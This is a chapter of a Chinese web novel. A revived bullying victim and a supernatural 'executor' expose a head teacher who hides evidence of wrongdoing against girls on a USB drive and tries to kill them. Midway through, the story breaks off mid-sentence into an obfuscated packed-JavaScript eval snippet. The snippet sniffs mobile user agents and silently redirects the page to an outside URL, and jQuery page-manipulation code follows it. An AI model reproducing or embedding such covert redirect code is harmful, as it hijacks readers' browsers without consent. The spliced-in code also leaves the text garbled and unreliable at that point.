由于这段时间连起两件怪事,班主任不自觉的盯上了始终镇定自若地女孩。
私下里曾借着夜自习课间把她叫出来,说了番意味不明的话:“最近班级里发生的事都跟你有关系吧!”
女孩连连摇头,表示不知。
“别以为我不知道,那两个正好是之前带头霸凌你的人。”
女孩忽的笑了,揶揄道:“如果我真的有这能耐,就不会再次出现在这。如果我真的要报复人,首当其冲的也不应该是他们,而是罪魁祸首您啊!”
这话从她口中说出,不觉中竟让人心里发毛,班主任好一阵才吞下口水道:“你就不怕我开除你学籍,让你再跳一回吗!”
女孩神情悠然,缓缓道:“我都是死过一回的人了,您以为我还怕吗?”
“我记得老师优盘里藏着些不为人知的东西呢,老师您干过的那些事我可还记得呢!要不要我现在帮您回忆回忆。”
班主任后槽牙都要咬碎了,却还故作镇定威胁:“你没证据,一个连家长都不信疯子,谁又会信你的话。”
女孩眼底闪过一丝猩红,又骤然退了下去:“那老师可要看好你的优盘跟电脑,哦对了!还有那些女孩的口,可得看住了,不然哪天一不小心就让我这连家长都不信的疯子赢了,那可真是令人唏嘘啊!”
“你……”班主任怒而未发,转身边走。
女孩回到座位,心情久久不能平复。
她想开口,但这种事不是她能以一己之力能抗衡整个腐朽团体的,只得翻开书本,试图让自己冷静下来。
她唤琴幽,未得到回应,接连又唤几声,仍没回应。
顿时感到不妙,害怕琴幽从刚刚对话时,就跟着班主任走了,虽然知道她的能耐,但还是忧虑的不行。
一下课就往办公室奔去,却没有看到班主任的身影,再次连唤多次,没有答复。
不好的预感油然而生, 夜自习纠结好一阵,最终放学后大着胆子混出学校,凭借着同学之间互相传的小道消息,走走停停的找班主任家的位置。
琴幽一路尾随,班主任也是个做事极为谨慎的人,没有着急在办公室里快速清除文件,而是在回家的路上,开车停到半路,才打开笔记本,把快速的把那些文件全部清空,防止被找回,干脆处理的一干二净,完全不给他人可乘之机。
随后拿出一个银色的小口袋,他把拉绳打开,拿出里面的U盘,环顾一下四周,确认没人后,将U盘用力一抛,眼看着就要落入河中。
琴幽顾不得那么多,激活肉身,一个跃身,半空中抓住U盘。
班主任突然见凭空出现个人着实吓得不轻,但是害怕事情败露的恐惧感,压迫了他的整个神经。顾不得是人是鬼,冲上前就是死死抓住琴幽。
因为二人离的本来就近,琴幽口诀还没念完,就被他抓住,纵使她尝试如何挣脱,对方的力量都远在她之上。
急得她尝试几番口诀后,仍没有任何作用。
眼看着琴幽死死不撒手,对方举起旁边的石头就要向她砸去,琴幽刚要喊系统,开金手指救自己。
不知为何班主任被人用木棍从身后“砰”的一声击倒了。
琴幽这才得到喘息的机会,对方迅速拉着她起身,向大路的地方奔去。
看清身前来者何人后,刚要责怪,对方却先哭道:“这就是你招呼都不打就来干的事吗?”
琴幽一时语塞,如鲠在喉。
二人还没跑出几步,班主任摸了摸头上的血,“啐”了一口就面目狰狞钻入车内,一脚油门下去。
琴幽忙唤系统:“用金手指!”
女孩还未清楚情况,二人化作两道白光,一阵晕眩失重,再次睁眼竟身在学校的小竹林里。
听着竹林里一阵骚动,巡逻的老师拿起手电筒往里面照去。本以为又成功抓获一对小情侣,没想到一声呵斥,出来的竟是两个女学生。
没好气的道:“大半夜不回寝室,马上都关门了,在这干什么!”
琴幽向来擅长随机应变,“呜呜咽咽”的哭道:“从小带大我的奶奶去世了,我心里难过,我不是故意的,都是我的叫她陪我走走的。”
“对不起老师……”她哭的那叫一个梨花带雨,找不到丝毫的表演痕迹。
女孩顺势道:“是啊老师,我们真的不是故意的,对不起老师。”
巡逻老师看她俩也不像骗自己,尤其是那个哭的真真切切就像那么回事,自己小时候也是父母在外务工,由爷爷奶奶一手拉扯大,自己上大学时,奶奶突发高血压去逝,最难过的莫过于自己了,可当时导员却没给自己批假,就连下葬前都没能看奶奶一眼,时隔多年,每每想到这一幕,心中都会隐隐作痛。
半晌,淡声道:“早点回去休息吧,能请假的话就请假回去再看看她。”
琴幽用衣袖抹抹眼泪,红着眼小声说:“嗯嗯,谢谢老师。”
随后拉着女孩赶紧撤离,走到远处,才完全不演。
若不是琴幽随后狡黠一笑,女孩还真当,她说的真有那么回事。
“以后不许做这么危险的事了。”
琴幽听此,短暂一愣,攥紧女孩的手道:“好!”
直到没人处的监控死角,琴幽豁然消失。
女孩独自上楼回寝室,无意识的偷瞟,刚刚被她紧握的手,即使今晚一路惊险,却还是感觉心里暖暖的。
琴幽时不时在她耳边道:“你怎么知道我在那的。”
她小声回:“心有灵犀。”
琴幽捧腹大笑,笑了好一阵,察觉到她根本不想说,自己也没再问,因为她心里很清楚对方就是特意来找她的。
眼看着就要撞向二人,突然闪过两道刺眼的白光,班主任猛地闭眼,来不及打方向盘,还好另一只脚及时刹车,这才没让车子失控。
再次睁眼看,方才正在前方奔跑的两人完全不见踪影,他着急忙慌的下车检查车底,没有发现人,越想越后怕,瘫坐在河边的石子地上,风声灌过河对岸的树林,把他吓得赶紧爬上了车,紧紧关上车门,手忙脚乱的驾车离开。
回到家,屋内的女子听到熟悉的敲门声,笑着打开门,却看见他一副失魂落魄的模样。
询问缘由,他却扯谎道:“学校里本来年底有望晋升,可半路杀出一个关系户,截胡了位置!”说罢,还装作一副怒气冲冲,壮志难酬的神态。
女子给他倒了杯热茶,缓声道:“没事啊,我的丈夫已经很厉害了,村里不少人都说我命好,找了这么个潜力股,还一直待我这么好,虽然没有长辈能带小孩,但是你每个月都会把自己的工资给我一半,让我当做产后自己的工资。”
说着女子红了眼眶,班主任温柔的抚上了她的脸,打趣道:“你看你,原本是我晋升失败,我都还没哭,你倒先哭上了。”
女子擦擦眼角的泪,笑着道:“快喝吧,饿不饿?”
班主任摇摇头,顺手端起茶杯一口饮尽:“吃过了,今天有点累想早点休息。”
深夜,女子在他身侧熟睡,他才悄悄拿起手机查询“鬼魅神明是否能碰到实体。”
网络上的声音纷杂,但大多数都是说不能碰到实体。
他脑海中又突然闪过,今天晚上,女孩与自己说的那番话,一股森然之感席卷大脑,通过这些天的好几件怪异的事情接连发生,背后操纵之人,很快就锁定了是她。
第二日赶往早自习的路上,女孩将U盘交于琴幽,就是害怕班主任发觉过来,将证据再次夺走,到时候自己又会陷入进退两难的境地。
果然一整个早自习班主任凶恶的目光,就没从女孩的身上挪走过,在她前方的学生着实被吓得不轻,还以为自己前几天干的坏事,又被人抓到,要全校通报,一整个早自习原本要交头接耳多次的他,这回却蔫的动也不敢动,即使连读近一个小时,嗓子都要着火,连口水也不敢喝。
直到早自习结束,他才瘫软的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313292|198902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠在后桌,跟同桌抱怨:“完了,又盯上我了,这可怎么办!”
同桌合上书本,挤身出去:“还不是你自己作的,整天抽烟喝酒,谈恋爱,都被抓多少回了,回回不长记性。”
闻言他失落一会,再次灌满鸡血,一副破罐子破摔之态:“反正也不是第一次了,大不了请家长,反正他们又不会来,只会塞钱给他平事。”
附近几人听到塞钱,瞬间来了兴致,饭也不着急吃,就眼巴巴等着他继续往下说。
男孩早已见怪不怪,继续跟他们讲了下去。
突然有人问:“那你家长到底给他塞了多少啊,犯那么多事,愣是没被开除!”
男孩眉毛一拧,不耐烦道:“能不能盼着我点好!”沉思片刻又道:“话说真塞了多少,我也不知道,这么多回了估计也少不了。”
几人“切”声一片。
男孩气不打一处来,指着其中一人道:“你家长不也塞了吗,怎么光问我,不问问你自己。”
那人摸着后脑勺,尬笑:“我就升学的时候,塞过一回,听我父母说不少。”说着用手比划着厚度:“大概就是这些了。”
几人咋舌道:“真够贪啊,收这么多,也不怕晚上被钱砸的睡不着。”
“可不嘛!”
女孩早早的就去吃饭了,琴幽坐在她的位置上听得津津有味,越听越觉得那个U盘里的东西不简单,不然怎么自己抢U盘的时候,对方想给自己弄死,跑都跑了,还钻进车内,要撞死她俩。
想时,女孩神色紧张的坐回位置,几人见她回来,纷纷散了场。
“他威胁你了?”
女孩垂眸眨了下眼。
“想解决掉他吗?”
女孩眉头微蹙,眼神向下瞥,若有所思,似是在说“不要。”
琴幽作为执行者打打杀杀惯了,只要对她产生威胁,她就会毫不犹豫铲除那人,但是这次的主角不是自己,是一个要一直生活在这个副本世界人,顿时她犯了难,一时间不知道如何妥善解决。
女孩平静好内心,在纸上缓缓写下一个“等”字。
等等等,等着他继续欺负你,等等等,等着他来取你的命,给这种人渣留着命,就是再给自己埋定时炸弹,要不是主角不是自己,琴幽早就把他骨灰都扬了。
越想越气,直接知会一声,就逃到系统休息空间里,势必要看看这人渣到底有何厉害之处,干了这么多坏事,还整天逍遥法外,在学校里作威作福。
从空间里取出U盘,扮成精神小妹的模样,去了一家名为“熊猫电竞”的网吧,挑选了一个极为偏僻的角落位置,拿出U盘插入电脑。
本身就雪白的脸霎时间又白上了两个度,她指尖颤颤巍巍的又点开两个文件,整个人的魂魄跟被吸干了似的。
紧接着又快速的点开几个文件,这下她连再次点下鼠标的勇气都没有了,全身的血液一阵翻腾又即刻全部冻结,她满眼不可置信的拔下U盘,身体在止不住的颤抖。
这回她总算知道为什么,女孩为什么那天夜里发现自己不在,偷偷跑出去找自己,因为他知道这个人到底有多可怕,又多么令人作呕。
系统:【检测到执行者当前情绪起伏太大,是遇到什么难题了吗?】
琴幽猛地深吸好几口气才缓缓吐出:“你说一个人因为某个人结束的生命,再次醒来却还是受这个人的欺压,威胁,连至亲至爱之人都全然不管,到底是有多强大的心,才能继续活下去。”
系统:【人生在世总要经历些世间险恶,撑不下去的人比比皆是,可是上天既然给了她第二次生命,她选择活下去,就是想要改变结局的走向,这次她必须要更坚定,更谨慎,因为一招踏错满盘皆输。】
琴幽恍然:“感觉你在点我!”
【我只是在解答执行者的问题,执行者觉得我在点您,说明您与方才口中所说之人有共同之处。】
“才几个小时不见,说话都深奥了。”